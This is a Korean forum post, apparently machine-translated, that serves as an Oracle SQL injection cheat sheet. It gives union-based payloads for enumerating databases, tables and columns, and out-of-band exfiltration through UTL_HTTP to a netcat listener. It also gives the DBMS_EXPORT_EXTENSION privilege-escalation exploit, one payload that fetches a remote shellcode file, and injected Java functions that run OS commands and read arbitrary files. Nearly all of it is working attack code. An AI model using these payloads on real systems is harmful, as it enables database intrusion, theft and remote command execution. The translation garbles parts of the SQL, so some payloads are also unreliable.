이 게시물은 2015년 1월 24일 13:01에 test에 의해 마지막으로 수정되었습니다.
댓글: -- 다중 문장 실행은 지원되지 않으며, 연합 쿼리는 지원합니다 데이터베이스 이름, 테이블 이름, 열명 모두 대문자로 표기합니다.
길이(필드) ascii(substr(field, N, 1))
그리고 (dual에서 count(*) 선택)>0 -- 오라클인지 아닌지 결정한다
n-- 순
그리고 1=2 union select null, null,.....,null → dual에서 null을 N 또는 'N'으로 대체합니다
그리고 1=2 유니온 셀렉트 널, (SQL 문) ,.....,쌍 -- 'N'에서 (SQL 문) 변경.
그리고 (object_name='UTL_HTTP'>0 all_objects에서 count(*)를 선택함 -- UTL_HTTP가 지원되는지 확인(익스웨이 IP가 알려져 있음)
그리고 UTL_HTTP.request('http://LocalIP:port'|| (SQL 문)) =1-- 원격 메시지 전송 시 로컬 수신 nc -vv -l -p 1234
SQL 문 rownum=1인 sys.v_$version에서 배너를 선택하여 오라클 버전을 쿼리하세요 rownum=1 v$logfile에서 멤버를 선택하세요. 로그 파일 경로(Windows 또는 Linux)를 조회하세요. 듀얼에서 utl_inaddr.get_host_address를 선택하여 데이터베이스 청취 IP를 조회합니다 v$instance에서 instance_name을 선택하여 sid를 쿼리하세요 v$database에서 이름 선택 현재 데이터베이스 이름을 조회 듀얼 쿼리 데이터베이스 사용자에서 sys_context ('userenv', 'current_user')을 선택합니다 rownum=1 에서 *session_roles를 선택해 현재 사용자 권한을 조회합니다 rownum=1 [그리고 role<>'첫 번째 허가 이름']에서 * session_roles에서 선택하세요 [그리고 role'첫 번째 허가 이름']
rownum=1 현재 데이터베이스의 첫 번째 테이블 세그먼트 user_tables에서 table_name을 선택합니다 선택 table_name||','|| tablespace_name user_tables에서 로우넘=1 첫 번째 테이블 세그먼트, 데이터베이스 (검증을 위해 v$database가 아닐 수도 있음) user_tables table_name 중에서 선택하며, rownum=1 table_name<>'첫 번째 테이블 세그먼트' 현재 데이터베이스의 두 번째 테이블 세그먼트
rownum=1, table_name='테이블 세그먼트' user_tab_columns에서 column_name을 선택하세요. 테이블 이름에 대응하는 첫 번째 필드 rownum=1, table_name='테이블 세그먼트', column_name<>'첫 번째 필드' user_tab_columns에서 column_name을 선택하세요. 두 번째 필드는 테이블 이름에 해당합니다.
rownum=1이 첫 번째 줄 내용을 위반하는 table 세그먼트에서 필드를 선택하세요 rownum=1인 field from table segment를 선택하고, 필드 <> 'First line content'가 두 번째 줄 내용을 노출합니다
교차 도서관 rownum=1이 첫 번째 데이터베이스 이름을 쿼리하는 all_tables경우, 소유자를 선택하세요 rownum=1 all_tables에서 소유자를 선택해 두 번째 데이터베이스 이름을 쿼리하세요 <>
rownum=1, owner='database name' all_tables에서 table_name을 선택합니다. 해당 데이터베이스의 첫 번째 테이블 이름을 조회하세요. rownum=1, owner='database name', table_name<>'first table name'에서 해당 데이터베이스의 두 번째 테이블 이름을 쿼리하는 all_tables에서 table_name을 선택하세요
rownum=1, owner='데이터베이스 이름', table_name='테이블 세그먼트'인 all_tab_columns에서 column_name을 선택합니다. 테이블 이름에 대응하는 첫 번째 필드 all_tab_columns에서 rownum=1, owner='데이터베이스 이름', table_name='테이블 세그먼트', column_name<>'첫 번째 필드' 중 column_name을 선택합니다. 두 번째 필드는 테이블 이름에 해당합니다
데이터베이스에서 필드를 선택하세요. rownum=1이 첫 번째 줄의 내용을 위반하는 테이블 세그먼트 데이터베이스에서 필드를 선택하세요. rownum=1이고 필드 <> 'First Line Content'가 두 번째 행 내용을 위반하는 테이블 세그먼트
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 다중 진술 종료; --','SYS',0,'1',0)--
'가 이스케이프된 경우, chr()가 사용됩니다.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| CHR(79)|| chr(79), chr(66)|| chr(65)|| CHR(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| CHR(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| CHR(49)|| chr(41)|| chr(59)|| 다중 진술 || chr(69)|| CHR(78)|| chr(68)|| chr(59)|| CHR(45)|| chr(45), chr(83)|| CHR(89)|| chr(83),0,chr(49),0)=0--
여러 문장이 너무 길다면, 해당 문장을 웹사이트 파일에 작성하고 utl_http.request를 사용해 검색할 수 있습니다.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
JAVA 패키지 SecTest 생성하기 runCMD는 시스템 명령을 실행하는 데 사용됩니다 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라"고 프라그마 AUTONOMOUS_TRANSACTION 선언; BEGIN EXECUTE IMMEDIATE''를 생성하거나 교체하여 "SecTest"라는 이름의 Java 소스를 가져오기 java.io.*로 작성 및 컴파일하세요; public class SecTest는 Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); 문자열 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 턴 스트럿; }catch(예외 e){return e.toString(); }}}''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
readFile은 파일을 읽는 데 사용됩니다 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라"고 프라그마 AUTONOMOUS_TRANSACTION 선언; BEGIN EXECUTE IMMEDIATE''를 생성하거나 교체하여 "SecTest"라는 이름의 Java 소스를 가져오기 java.io.*로 작성 및 컴파일하세요; public class SecTest는 Object{public static string readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); 문자열 stemp,str=""; while((stemp=myReader.readLine()!=null) str+=stemp+"\n"; myReader.close(); 턴 스트럿; }catch(예외 e){return e.toString(); }}}''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
Java 권한 부여 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN 즉시 실행 '''''시작dbms_java.GRANT_PERMISSION(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALL FILES>>'''''''',''''''''처형''''''''); 끝; ''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
함수 생성 SecRunCMD 함수 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN EXECUTE EXECUTE '''''함수 생성 또는 교체 SecRunCMD(p_cmd in varchar2) 언어 java 이름으로 varchar2를 반환''''''''SecTest.runCMD(java.lang.String) 반환 String'''''''' ; ''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
SecReadFile 함수 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN EXECUTE 즉시 '''''함수 생성 또는 교체 SecReadFile(varchar2의 파일명) 언어로 varchar2를 반환 java name''''''''SecTest.readFile(java.lang.String) String' 반환 '''''''; ''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
공직 수행 허가를 부여합니다 SecRunCMD가 권한을 부여받습니다 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; 즉시 실행 시작 "SecRunCMD에서 모든 공공에게 승인"; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
서클리드파일 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; 즉시 실행 시작 "'SecReadFile의 모든 것을 공개자에게 부여하라''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)--
함수가 성공적으로 생성되었는지 감지합니다 그리고 (object_name='SECRUNCMD')>0-- 중에서 all_objects에서 count(*)를 선택한다 그리고 (all_objects object_name='SECREADFILE')>0--
명령 실행 그리고 '1'<>(시스템 선택) dual에서 SecRunCMD('실행 명령')-- 그리고 '1'<>(시스템 선택) dual에서 SecReadFile('파일 물리 주소')-- 또는 1=2 유니온 셀렉트 널,...,시스템. SecRunCMD('execute command'),...,dual-- 1=2 유니온 셀렉트 널,...,시스템. SecReadFile('파일 물리 주소'),...,dual-- 또는 그리고 '1'<>(선택 UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('명령 실행 명령'), ' ',' '), '\n', ' ')) dual)-- 그리고 '1'<>(선택 UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('파일 물리 주소'), ' ',' ','\n',' '))에서 dual)--
삭제 기능 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN BEGIN 실행 즉시 ''drop 함수 SecRunCMD''''; 끝; ''; 끝; --','SYS',0,'1',0) dual)-- 그리고 '1'<>'a'|| (SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('푸', '바', 'DBMS_OUTPUT'". PUT(:P 1); 즉시 실행하라, ''프라그마 선언 AUTONOMOUS_TRANSACTION; BEGIN 즉시 실행 '''''drop 함수 SecReadFile''; 끝; ''; 끝; --','SYS',0,'1',0) dual)-- |